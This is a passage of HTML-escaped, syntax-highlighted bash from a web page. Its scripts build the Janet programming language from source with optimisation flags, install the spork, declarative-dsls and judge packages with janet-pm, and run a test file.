&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/lib/janet/bin/janet-pm&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://codeberg.org/veqq/declarative-dsls&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; install file::declarative-dsls &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; also does https://codeberg.org/veqq/varray&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://github.com/ianthehenry/judge &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; also does https://github.com/ianthehenry/cmd&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; install file::judge&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/lib/janet/bin/judge&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; declarative-dsls/tests.janet &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; to show that it worked&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a `64janet.sh to compare it with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;!/bin/bash&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-set syntax-shell&quot;&gt;set&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;eu&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PWD&lt;/span&gt;&lt;/span&gt;/janet64&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/bin/janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-unset syntax-shell&quot;&gt;unset&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; JANET_PATH JANET_TREE&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://github.com/janet-lang/janet&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; janet&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;CFLAGS&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;-fPIC -O3 -flto -fno-semantic-interposition -march=native&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; speed gains&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clean&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; test&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; install&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; ..&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; --&lt;/span&gt;depth&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-option syntax-shell&quot;&gt;=&lt;/span&gt;1 https://github.com/janet-lang/spork build/spork&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;e&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;(if (bundle/installed? &amp;quot;spork&amp;quot;) (bundle/replace &amp;quot;spork&amp;quot; &amp;quot;build/spork&amp;quot;) (bundle/install &amp;quot;build/spork&amp;quot;))&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; ### Packages&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/lib/janet/bin/janet-pm&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://codeberg.org/veqq/declarative-dsls&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; install file::declarative-dsls &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; also does https://codeberg.org/veqq/varray&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://github.com/ianthehenry/judge &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; also does https://github.com/ianthehenry/cmd&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
